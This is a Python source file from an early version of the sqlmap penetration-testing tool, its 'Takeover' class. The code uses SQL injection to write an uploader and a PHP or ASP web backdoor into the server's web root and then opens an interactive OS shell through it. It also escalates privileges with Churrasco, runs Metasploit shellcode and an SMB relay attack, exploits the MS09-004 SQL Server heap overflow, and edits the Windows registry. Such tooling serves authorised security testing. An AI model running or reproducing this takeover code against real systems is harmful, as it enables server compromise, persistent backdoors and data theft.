mirror of
https://github.com/sqlmapproject/sqlmap.git
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553 lines
19 KiB
Python
553 lines
19 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
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Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
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Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
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sqlmap is free software; you can redistribute it and/or modify it under
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the terms of the GNU General Public License as published by the Free
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Software Foundation version 2 of the License.
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sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
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WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
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FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
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details.
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You should have received a copy of the GNU General Public License along
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with sqlmap; if not, write to the Free Software Foundation, Inc., 51
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Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
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"""
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import os
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import re
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from lib.core.agent import agent
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from lib.core.common import fileToStr
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from lib.core.common import getDirs
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from lib.core.common import getDocRoot
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from lib.core.common import randomStr
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from lib.core.common import readInput
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from lib.core.convert import hexencode
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.data import paths
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from lib.core.exception import sqlmapUnsupportedDBMSException
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from lib.core.shell import autoCompletion
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from lib.request.connect import Connect as Request
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from lib.takeover.abstraction import Abstraction
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from lib.takeover.metasploit import Metasploit
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from lib.takeover.registry import Registry
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from lib.techniques.outband.stacked import stackedTest
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class Takeover(Abstraction, Metasploit, Registry):
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"""
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This class defines generic OS takeover functionalities for plugins.
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"""
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def __init__(self):
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self.cmdTblName = "sqlmapoutput"
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self.tblField = "data"
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self.cmdFromChurrasco = False
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Abstraction.__init__(self)
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def __webBackdoorRunCmd(self, backdoorUrl, cmd):
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output = None
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if not cmd:
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cmd = conf.osCmd
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cmdUrl = "%s?cmd=%s" % (backdoorUrl, cmd)
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page, _ = Request.getPage(url=cmdUrl, direct=True)
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output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
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if output:
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print output.group(1)
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else:
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print "No output"
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return output
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def __webBackdoorShell(self, backdoorUrl):
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infoMsg = "calling OS shell. To quit type "
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infoMsg += "'x' or 'q' and press ENTER"
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logger.info(infoMsg)
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autoCompletion(osShell=True)
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while True:
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command = None
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try:
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command = raw_input("os-shell> ")
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except KeyboardInterrupt:
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print
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errMsg = "user aborted"
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logger.error(errMsg)
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except EOFError:
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print
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errMsg = "exit"
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logger.error(errMsg)
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break
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if not command:
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continue
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if command.lower() in ( "x", "q", "exit", "quit" ):
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break
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self.__webBackdoorRunCmd(backdoorUrl, command)
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def __webBackdoorInit(self):
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"""
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This method is used to write a web backdoor (agent) on a writable
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remote directory within the web server document root.
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"""
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self.checkDbmsOs()
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backdoorUrl = None
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language = None
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kb.docRoot = getDocRoot()
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directories = getDirs()
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directories = list(directories)
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directories.sort()
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infoMsg = "trying to upload the uploader agent"
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logger.info(infoMsg)
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message = "which web application language does the web server "
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message += "support?\n"
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message += "[1] ASP\n"
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message += "[2] PHP (default)\n"
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message += "[3] JSP"
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while True:
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choice = readInput(message, default="2")
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if not choice or choice == "2":
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language = "php"
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break
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elif choice == "1":
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language = "asp"
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break
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elif choice == "3":
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errMsg = "JSP web backdoor functionality is not yet "
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errMsg += "implemented"
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raise sqlmapUnsupportedDBMSException(errMsg)
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elif not choice.isdigit():
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logger.warn("invalid value, only digits are allowed")
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elif int(choice) < 1 or int(choice) > 3:
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logger.warn("invalid value, it must be 1 or 3")
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backdoorName = "backdoor.%s" % language
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backdoorPath = os.path.join(paths.SQLMAP_SHELL_PATH, backdoorName)
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uploaderName = "uploader.%s" % language
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uploaderStr = fileToStr(os.path.join(paths.SQLMAP_SHELL_PATH, uploaderName))
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for directory in directories:
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# Upload the uploader agent
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outFile = os.path.normpath("%s/%s" % (directory, uploaderName))
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uplQuery = uploaderStr.replace("WRITABLE_DIR", directory)
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query = " LIMIT 1 INTO OUTFILE '%s' " % outFile
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query += "LINES TERMINATED BY 0x%s --" % hexencode(uplQuery)
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query = agent.prefixQuery(" %s" % query)
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query = agent.postfixQuery(query)
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payload = agent.payload(newValue=query)
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page = Request.queryPage(payload)
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requestDir = os.path.normpath(directory.replace(kb.docRoot, "/").replace("\\", "/"))
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baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
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uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
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uploaderUrl = uploaderUrl.replace("./", "/").replace("\\", "/")
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uplPage, _ = Request.getPage(url=uploaderUrl, direct=True)
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if "sqlmap backdoor uploader" not in uplPage:
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warnMsg = "unable to upload the uploader "
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warnMsg += "agent on '%s'" % directory
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logger.warn(warnMsg)
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continue
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infoMsg = "the uploader agent has been successfully uploaded "
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infoMsg += "on '%s'" % directory
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logger.info(infoMsg)
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# Upload the backdoor through the uploader agent
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if language == "php":
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multipartParams = {
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"upload": "1",
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"file": open(backdoorPath, "r"),
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"uploadDir": directory,
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}
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page = Request.getPage(url=uploaderUrl, multipart=multipartParams)
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if "Backdoor uploaded" not in page:
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warnMsg = "unable to upload the backdoor through "
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warnMsg += "the uploader agent on '%s'" % directory
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logger.warn(warnMsg)
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continue
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elif language == "asp":
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backdoorRemotePath = "%s/%s" % (directory, backdoorName)
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backdoorRemotePath = os.path.normpath(backdoorRemotePath)
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backdoorContent = open(backdoorPath, "r").read()
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postStr = "f=%s&d=%s" % (backdoorRemotePath, backdoorContent)
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page, _ = Request.getPage(url=uploaderUrl, direct=True, post=postStr)
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if "permission denied" in page.lower():
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warnMsg = "unable to upload the backdoor through "
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warnMsg += "the uploader agent on '%s'" % directory
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logger.warn(warnMsg)
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continue
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elif language == "jsp":
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pass
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backdoorUrl = "%s/%s" % (baseUrl, backdoorName)
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infoMsg = "the backdoor has probably been successfully "
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infoMsg += "uploaded on '%s', go with your browser " % directory
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infoMsg += "to '%s' and enjoy it!" % backdoorUrl
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logger.info(infoMsg)
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break
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return backdoorUrl
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def uploadChurrasco(self):
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msg = "do you want sqlmap to upload Churrasco and call the "
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msg += "Metasploit payload stager as its argument so that it "
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msg += "will be started as SYSTEM? [Y/n] "
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output = readInput(msg, default="Y")
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if not output or output[0] in ( "y", "Y" ):
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wFile = os.path.join(paths.SQLMAP_CONTRIB_PATH, "tokenkidnapping", "Churrasco.exe")
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self.churrascoPath = "%s/sqlmapchur%s.exe" % (conf.tmpPath, randomStr(lowercase=True))
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self.cmdFromChurrasco = True
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self.writeFile(wFile, self.churrascoPath, "binary", confirm=False)
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return True
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else:
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return False
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def osCmd(self):
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stackedTest()
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if not kb.stackedTest:
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infoMsg = "going to upload a web page backdoor for command "
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infoMsg += "execution"
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logger.info(infoMsg)
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backdoorUrl = self.__webBackdoorInit()
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if backdoorUrl:
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self.__webBackdoorRunCmd(backdoorUrl, conf.osCmd)
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else:
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self.initEnv()
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self.runCmd(conf.osCmd)
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def osShell(self):
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stackedTest()
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if not kb.stackedTest:
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infoMsg = "going to upload a web page backdoor for command "
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infoMsg += "execution"
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logger.info(infoMsg)
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backdoorUrl = self.__webBackdoorInit()
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if backdoorUrl:
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self.__webBackdoorShell(backdoorUrl)
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else:
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self.initEnv()
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self.absOsShell()
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def osPwn(self):
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stackedTest()
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if not kb.stackedTest:
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return
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self.initEnv()
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self.getRemoteTempPath()
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goUdf = False
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if kb.dbms in ( "MySQL", "PostgreSQL" ):
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msg = "how do you want to execute the Metasploit shellcode "
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msg += "on the back-end database underlying operating system?"
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msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
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msg += "\n[2] Stand-alone payload stager (file system way)"
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while True:
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choice = readInput(msg, default=1)
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if isinstance(choice, str) and choice.isdigit() and int(choice) in ( 1, 2 ):
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choice = int(choice)
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break
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elif isinstance(choice, int) and choice in ( 1, 2 ):
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break
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else:
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warnMsg = "invalid value, valid values are 1 and 2"
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logger.warn(warnMsg)
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if choice == 1:
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goUdf = True
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if goUdf:
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self.createMsfShellcode(exitfunc="thread", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
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else:
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self.createMsfPayloadStager()
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self.uploadMsfPayloadStager()
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if kb.os == "Windows" and conf.privEsc:
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if kb.dbms == "MySQL":
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debugMsg = "by default MySQL on Windows runs as SYSTEM "
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debugMsg += "user, no need to privilege escalate"
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logger.debug(debugMsg)
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elif kb.dbms == "PostgreSQL":
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warnMsg = "by default PostgreSQL on Windows runs as postgres "
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warnMsg += "user which has no Windows Impersonation "
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warnMsg += "Tokens: it is unlikely that the privilege "
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warnMsg += "escalation will be successful"
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logger.warn(warnMsg)
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elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
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warnMsg = "often Microsoft SQL Server %s " % kb.dbmsVersion[0]
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warnMsg += "runs as Network Service which has no Windows "
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warnMsg += "Impersonation Tokens within all threads, this "
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warnMsg += "makes Meterpreter's incognito extension to "
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warnMsg += "fail to list tokens"
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logger.warn(warnMsg)
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uploaded = self.uploadChurrasco()
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if not uploaded:
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warnMsg = "beware that the privilege escalation "
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warnMsg += "might not work"
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logger.warn(warnMsg)
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else:
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# Unset --priv-esc if the back-end DBMS underlying operating
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# system is not Windows
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conf.privEsc = False
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self.pwn(goUdf)
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def osSmb(self):
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stackedTest()
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self.checkDbmsOs()
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if kb.os != "Windows":
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errMsg = "the back-end DBMS underlying operating system is "
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errMsg += "not Windows: it is not possible to perform the SMB "
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errMsg += "relay attack"
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raise sqlmapUnsupportedDBMSException(errMsg)
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if not kb.stackedTest:
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if kb.dbms in ( "PostgreSQL", "Microsoft SQL Server" ):
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errMsg = "on this back-end DBMS it is only possible to "
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errMsg += "perform the SMB relay attack if stacked "
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errMsg += "queries are supported"
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raise sqlmapUnsupportedDBMSException(errMsg)
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elif kb.dbms == "MySQL":
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debugMsg = "since stacked queries are not supported, "
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debugMsg += "sqlmap is going to perform the SMB relay "
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debugMsg += "attack via inference blind SQL injection"
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logger.debug(debugMsg)
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printWarn = True
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warnMsg = "it is unlikely that this attack will be successful "
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if kb.dbms == "MySQL":
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warnMsg += "because by default MySQL on Windows runs as "
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warnMsg += "Local System which is not a real user, it does "
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warnMsg += "not send the NTLM session hash when connecting to "
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warnMsg += "a SMB service"
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elif kb.dbms == "PostgreSQL":
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warnMsg += "because by default PostgreSQL on Windows runs "
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warnMsg += "as postgres user which is a real user of the "
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warnMsg += "system, but not within the Administrators group"
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elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
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warnMsg += "because often Microsoft SQL Server %s " % kb.dbmsVersion[0]
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warnMsg += "runs as Network Service which is not a real user, "
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warnMsg += "it does not send the NTLM session hash when "
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warnMsg += "connecting to a SMB service"
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else:
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printWarn = False
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if printWarn:
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logger.warn(warnMsg)
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self.smb()
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def osBof(self):
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stackedTest()
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if not kb.stackedTest:
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return
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if not kb.dbms == "Microsoft SQL Server" or kb.dbmsVersion[0] not in ( "2000", "2005" ):
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errMsg = "the back-end DBMS must be Microsoft SQL Server "
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errMsg += "2000 or 2005 to be able to exploit the heap-based "
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errMsg += "buffer overflow in the 'sp_replwritetovarbin' "
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errMsg += "stored procedure (MS09-004)"
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raise sqlmapUnsupportedDBMSException(errMsg)
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infoMsg = "going to exploit the Microsoft SQL Server %s " % kb.dbmsVersion[0]
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infoMsg += "'sp_replwritetovarbin' stored procedure heap-based "
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infoMsg += "buffer overflow (MS09-004)"
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logger.info(infoMsg)
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self.initEnv(mandatory=False, detailed=True)
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self.getRemoteTempPath()
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self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True)
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self.bof()
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def __regInit(self):
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stackedTest()
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if not kb.stackedTest:
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return
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self.checkDbmsOs()
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if kb.os != "Windows":
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errMsg = "the back-end DBMS underlying operating system is "
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errMsg += "not Windows"
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raise sqlmapUnsupportedDBMSException(errMsg)
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self.initEnv()
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self.getRemoteTempPath()
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def regRead(self):
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self.__regInit()
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if not conf.regKey:
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default = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion"
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msg = "which registry key do you want to read? [%s] " % default
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regKey = readInput(msg, default=default)
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else:
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regKey = conf.regKey
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if not conf.regVal:
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default = "ProductName"
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msg = "which registry key value do you want to read? [%s] " % default
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regVal = readInput(msg, default=default)
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else:
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regVal = conf.regVal
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infoMsg = "reading Windows registry path '%s\%s' " % (regKey, regVal)
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logger.info(infoMsg)
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return self.readRegKey(regKey, regVal, False)
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def regAdd(self):
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self.__regInit()
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errMsg = "missing mandatory option"
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if not conf.regKey:
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msg = "which registry key do you want to write? "
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regKey = readInput(msg)
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if not regKey:
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raise sqlmapMissingMandatoryOptionException(errMsg)
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else:
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regKey = conf.regKey
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if not conf.regVal:
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msg = "which registry key value do you want to write? "
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regVal = readInput(msg)
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if not regVal:
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raise sqlmapMissingMandatoryOptionException(errMsg)
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else:
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regVal = conf.regVal
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if not conf.regData:
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msg = "which registry key value data do you want to write? "
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regData = readInput(msg)
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if not regData:
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raise sqlmapMissingMandatoryOptionException(errMsg)
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else:
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regData = conf.regData
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if not conf.regType:
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default = "REG_SZ"
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msg = "which registry key value data-type is it? "
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msg += "[%s] " % default
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regType = readInput(msg, default=default)
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else:
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regType = conf.regType
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infoMsg = "adding Windows registry path '%s\%s' " % (regKey, regVal)
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infoMsg += "with data '%s'. " % regData
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infoMsg += "This will work only if the user running the database "
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infoMsg += "process has privileges to modify the Windows registry."
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logger.info(infoMsg)
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self.addRegKey(regKey, regVal, regType, regData)
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def regDel(self):
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self.__regInit()
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errMsg = "missing mandatory option"
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if not conf.regKey:
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msg = "which registry key do you want to delete? "
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regKey = readInput(msg)
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if not regKey:
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raise sqlmapMissingMandatoryOptionException(errMsg)
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else:
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regKey = conf.regKey
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if not conf.regVal:
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msg = "which registry key value do you want to delete? "
|
|
regVal = readInput(msg)
|
|
|
|
if not regVal:
|
|
raise sqlmapMissingMandatoryOptionException(errMsg)
|
|
else:
|
|
regVal = conf.regVal
|
|
|
|
message = "are you sure that you want to delete the Windows "
|
|
message += "registry path '%s\%s? [y/N] " % (regKey, regVal)
|
|
output = readInput(message, default="N")
|
|
|
|
if output and output[0] not in ( "Y", "y" ):
|
|
return
|
|
|
|
infoMsg = "deleting Windows registry path '%s\%s'" % (regKey, regVal)
|
|
infoMsg += "This will work only if the user running the database "
|
|
infoMsg += "process has privileges to modify the Windows registry."
|
|
logger.info(infoMsg)
|
|
|
|
self.delRegKey(regKey, regVal)
|